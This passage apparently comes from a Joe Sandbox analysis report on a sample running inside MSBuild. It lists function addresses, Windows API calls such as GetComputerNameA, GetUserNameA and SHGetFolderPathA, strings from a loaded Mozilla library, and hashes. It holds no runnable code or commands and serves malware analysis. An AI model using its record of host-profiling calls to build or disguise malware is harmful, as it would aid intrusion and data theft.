Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: c36cdc7e8858c8a68b3969eb20504a02303c837a2aa8bea8de9441652dc409ce
Instruction ID: c33170cd47b5ddaf33f3bd529e3e9bd0b8526aec605854159e3974d419e7fdd8
Opcode Fuzzy Hash: c36cdc7e8858c8a68b3969eb20504a02303c837a2aa8bea8de9441652dc409ce
Instruction Fuzzy Hash: C0F01574C00208EBCB00EFA4E5496DDBB74EB11324F10819EE826673C0DB796A96DB89

Function 00418DE0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 1937b3016abb1116ad25b1de693048e6b8ebbf2c452a4d5410bd6c9fe56c08f2
Instruction ID: e82dd92a107a558878b8aedbded484b2d7625ea591a662ceffa58b28bb8b597d
Opcode Fuzzy Hash: 1937b3016abb1116ad25b1de693048e6b8ebbf2c452a4d5410bd6c9fe56c08f2
Instruction Fuzzy Hash: EEE01A75A4034C7BDB91EB90CC96FEE737CDB44B11F004299BA0C5A1C0DE74AB858B91

Function 00401190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 004178E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416A2B), ref: 00417910
Part of subcall function 004178E0: HeapAlloc.KERNEL32(00000000,?,?,?,00416A2B), ref: 00417917
Part of subcall function 004178E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Part of subcall function 00417850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417880
Part of subcall function 00417850: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417887
Part of subcall function 00417850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

ExitProcess.KERNEL32 ref: 004011C6

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocName$ComputerExitUser
String ID:
API String ID: 1004333139-0
Opcode ID: beae5ea4bba28d8bcdb6621297b085ccf5731606b7c52db2eb8bbe7634c0c08e
Instruction ID: 3272f285758621328f1ae990cc0b7bdad84480bea6fe4891c0ce75a2ed71569b
Opcode Fuzzy Hash: beae5ea4bba28d8bcdb6621297b085ccf5731606b7c52db2eb8bbe7634c0c08e
Instruction Fuzzy Hash: 72E0C2B999030123DB0433F2AD0AB6B329D5B0538DF04042EFA08D2252FE2CE84085AE

Function 00409880 Relevance: 1.3, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000020,00410759,?,?), ref: 00409888

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 7f10dcdaec539b6f97e29b857dd5b55aac166e971b50c8972073f50d3de9e67a
Instruction ID: cd962e32a7d49cb5ce85c4f0a2f24118ebc1676ac18b43bdebb71eb25e5ca396
Opcode Fuzzy Hash: 7f10dcdaec539b6f97e29b857dd5b55aac166e971b50c8972073f50d3de9e67a
Instruction Fuzzy Hash: C8F054B5D10208FBDB00EFA4D846B9EBBB4EB08300F1084A9E905A7381E6749B14CB95

Non-executed Functions

Function 6CBD6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CBD6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CBD6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6CBD6D26

Part of subcall function 6CBDCA10: malloc.MOZGLUE(?), ref: 6CBDCA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6CBD6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CBD6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6CBD6D73
free.MOZGLUE(00000000), ref: 6CBD6D80
CertGetNameStringW.CRYPT32 ref: 6CBD6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6CBD6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CBD6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6CBD6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6CBD6E10
CryptMsgClose.CRYPT32(00000000), ref: 6CBD6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6CBD6E34
CreateFileW.KERNEL32 ref: 6CBD6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6CBD6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CBD6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6CBD709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CBD7103
free.MOZGLUE(00000000), ref: 6CBD7153
CloseHandle.KERNEL32(?), ref: 6CBD7176
__Init_thread_footer.LIBCMT ref: 6CBD7209
__Init_thread_footer.LIBCMT ref: 6CBD723A
__Init_thread_footer.LIBCMT ref: 6CBD726B
__Init_thread_footer.LIBCMT ref: 6CBD729C
__Init_thread_footer.LIBCMT ref: 6CBD72DC
__Init_thread_footer.LIBCMT ref: 6CBD730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CBD73C2
VerSetConditionMask.NTDLL ref: 6CBD73F3
VerSetConditionMask.NTDLL ref: 6CBD73FF
VerSetConditionMask.NTDLL ref: 6CBD7406
VerSetConditionMask.NTDLL ref: 6CBD740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CBD741A
moz_xmalloc.MOZGLUE(?), ref: 6CBD755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CBD7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6CBD7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CBD7598
free.MOZGLUE(00000000), ref: 6CBD75AC

Part of subcall function 6CBFAB89: EnterCriticalSection.KERNEL32(6CC4E370,?,?,?,6CBC34DE,6CC4F6CC,?,?,?,?,?,?,?,6CBC3284), ref: 6CBFAB94
Part of subcall function 6CBFAB89: LeaveCriticalSection.KERNEL32(6CC4E370,?,6CBC34DE,6CC4F6CC,?,?,?,?,?,?,?,6CBC3284,?,?,6CBE56F6), ref: 6CBFABD1

Strings

wintrust.dll, xrefs: 6CBD72CD
SHA256, xrefs: 6CBD6EC0
(, xrefs: 6CBD768A
CryptCATAdminReleaseCatalogContext, xrefs: 6CBD72C8

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 6cc363253daaa0013e15c7c247b9557b1db61e1ff61ee23c9aada72f6398c0f3
Instruction ID: 578ab825416467f999ee2fc3e0610d576e62ad4057b3fb1204d73941564cec65
Opcode Fuzzy Hash: 6cc363253daaa0013e15c7c247b9557b1db61e1ff61ee23c9aada72f6398c0f3
Instruction Fuzzy Hash: A852D671A002559FEB21DF24CC84BEA77B8EF46708F118599E909AB640EB70BF85CF51

Function 6CC0F070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412threadtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CC0F09B

Part of subcall function 6CBE5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CBE56EE,?,00000001), ref: 6CBE5B85
Part of subcall function 6CBE5B50: EnterCriticalSection.KERNEL32(6CC4F688,?,?,?,6CBE56EE,?,00000001), ref: 6CBE5B90
Part of subcall function 6CBE5B50: LeaveCriticalSection.KERNEL32(6CC4F688,?,?,?,6CBE56EE,?,00000001), ref: 6CBE5BD8
Part of subcall function 6CBE5B50: GetTickCount64.KERNEL32 ref: 6CBE5BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6CC0F0AC

Part of subcall function 6CBE5C50: GetTickCount64.KERNEL32 ref: 6CBE5D40
Part of subcall function 6CBE5C50: EnterCriticalSection.KERNEL32(6CC4F688), ref: 6CBE5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6CC0F0BE

Part of subcall function 6CBE5C50: __aulldiv.LIBCMT ref: 6CBE5DB4
Part of subcall function 6CBE5C50: LeaveCriticalSection.KERNEL32(6CC4F688), ref: 6CBE5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6CC0F155
GetCurrentThreadId.KERNEL32 ref: 6CC0F1E0
AcquireSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CC0F1ED
ReleaseSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CC0F212
GetCurrentThreadId.KERNEL32 ref: 6CC0F229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC0F231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6CC0F248
GetCurrentThreadId.KERNEL32 ref: 6CC0F2AE
AcquireSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CC0F2BB
ReleaseSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CC0F2F8

Part of subcall function 6CBFCBE8: GetCurrentProcess.KERNEL32(?,6CBC31A7), ref: 6CBFCBF1
Part of subcall function 6CBFCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CBC31A7), ref: 6CBFCBFA

Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CBD4A68), ref: 6CC0945E
Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CC09470
Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CC09482
Part of subcall function 6CC09420: __Init_thread_footer.LIBCMT ref: 6CC0949F

GetCurrentThreadId.KERNEL32 ref: 6CC0F350
AcquireSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CC0F35D
ReleaseSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CC0F381
GetCurrentThreadId.KERNEL32 ref: 6CC0F398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC0F3A0
GetCurrentThreadId.KERNEL32 ref: 6CC0F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC0F491

Part of subcall function 6CC094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CC094EE
Part of subcall function 6CC094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CC09508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6CC0F3CF

Part of subcall function 6CC0F070: GetCurrentThreadId.KERNEL32 ref: 6CC0F440
Part of subcall function 6CC0F070: AcquireSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CC0F44D
Part of subcall function 6CC0F070: ReleaseSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CC0F472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6CC0F4A8
GetCurrentThreadId.KERNEL32 ref: 6CC0F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC0F561
GetCurrentThreadId.KERNEL32 ref: 6CC0F577
AcquireSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CC0F585
ReleaseSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CC0F5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6CC0F56A
[I %d/%d] profiler_pause_sampling, xrefs: 6CC0F3A8
[I %d/%d] profiler_resume_sampling, xrefs: 6CC0F499
[I %d/%d] profiler_resume, xrefs: 6CC0F239

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: 2f392de19e4de98fc66fb05f18e4215f780bfcf2d4d2650e3f5af262d8c36a9c
Instruction ID: 84e05a27b147843e2712aedde6f6f1afc386a9b4d8ec8cbd356186f79012dfb0
Opcode Fuzzy Hash: 2f392de19e4de98fc66fb05f18e4215f780bfcf2d4d2650e3f5af262d8c36a9c
Instruction Fuzzy Hash: 94D116357042049FDB00FF69D4147AABBB8EB8632CF14C61AE96583F81EF715849C7A6

Function 6CBD64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6CBD64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6CBD64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6CBD6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6CBD6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CBD652B
memcpy.VCRUNTIME140(?,?,?), ref: 6CBD671C
GetCurrentProcess.KERNEL32 ref: 6CBD6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CBD672F
GetCurrentProcess.KERNEL32 ref: 6CBD6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CBD6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6CBD6A80
GetSystemInfo.KERNEL32(?), ref: 6CBD6ABE
__Init_thread_footer.LIBCMT ref: 6CBD6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CBD6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CBD6AF7

Strings

user32.dll, xrefs: 6CBD6526
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6CBD6798
detoured.dll, xrefs: 6CBD64DA
nvdxgiwrap.dll, xrefs: 6CBD6513
_etoured.dll, xrefs: 6CBD64ED
nvd3d9wrap.dll, xrefs: 6CBD6500

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 9198cbcbbdd017cb263690946e4eb104ef79777de545eff883b2b6a1fa0e2422
Instruction ID: d871e22e8071daba17c89151bf8794299dafed1c8a422393d93ce88ade40439e
Opcode Fuzzy Hash: 9198cbcbbdd017cb263690946e4eb104ef79777de545eff883b2b6a1fa0e2422
Instruction Fuzzy Hash: 70F1F3709016698FDB20DF24CC88B9AB7B5EF46318F1586D9D809E7681E731BE84CF91

Function 6CBEED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6CBEEE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CBEEFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CBF1695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CBF16B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6CBF1770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CBF1A3E

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: 39856adf30f977e1e5761a8b5e4c65761fdb8117294eaf29ddeec1ed274425ee
Instruction ID: ba2b8be04438c495e6d71cd27887d8d424141655649142fc4b727202b3d99647
Opcode Fuzzy Hash: 39856adf30f977e1e5761a8b5e4c65761fdb8117294eaf29ddeec1ed274425ee
Instruction Fuzzy Hash: CCB32A71E00269CFCB14CFA8C890A9DB7B2FF49304F1981A9D459AB755D730AD8ACF91

Function 6CC07E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

name, xrefs: 6CC07ECF, 6CC08335
(pre-xul), xrefs: 6CC07E88
data, xrefs: 6CC08280, 6CC083E1
schema, xrefs: 6CC081E3, 6CC08311

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: 740ea0c8ab560038d3490163e20d85127608c42b385a74d3840d67132051244a
Instruction ID: a98d56f1e42a2daedd96d28fc2ac02b467d694899dfaed2eb036d77fb9a8d1ee
Opcode Fuzzy Hash: 740ea0c8ab560038d3490163e20d85127608c42b385a74d3840d67132051244a
Instruction Fuzzy Hash: C7E180B1B043808BC710CF68984065FF7E9BF89354F15892DE899D7780EB71ED098B92

Function 6CBED4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CC4E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6CBFD1C5), ref: 6CBED4F2
LeaveCriticalSection.KERNEL32(6CC4E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6CBFD1C5), ref: 6CBED50B

Part of subcall function 6CBCCFE0: EnterCriticalSection.KERNEL32(6CC4E784), ref: 6CBCCFF6
Part of subcall function 6CBCCFE0: LeaveCriticalSection.KERNEL32(6CC4E784), ref: 6CBCD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6CBFD1C5), ref: 6CBED52E
EnterCriticalSection.KERNEL32(6CC4E7DC), ref: 6CBED690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CBED6A6
LeaveCriticalSection.KERNEL32(6CC4E7DC), ref: 6CBED712
LeaveCriticalSection.KERNEL32(6CC4E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6CBFD1C5), ref: 6CBED751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CBED7EA

Strings

<jemalloc>, xrefs: 6CBED827
: (malloc) Error initializing arena, xrefs: 6CBED82C

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 2ed11b380435845795a2d1d517a54e175cad8774d2d31d189ae6925fc8996142
Instruction ID: 7f1de1c6be2f668e60a0a1fd1d5837411089003e9cc6a9c8b1bb0881d5c94e1e
Opcode Fuzzy Hash: 2ed11b380435845795a2d1d517a54e175cad8774d2d31d189ae6925fc8996142
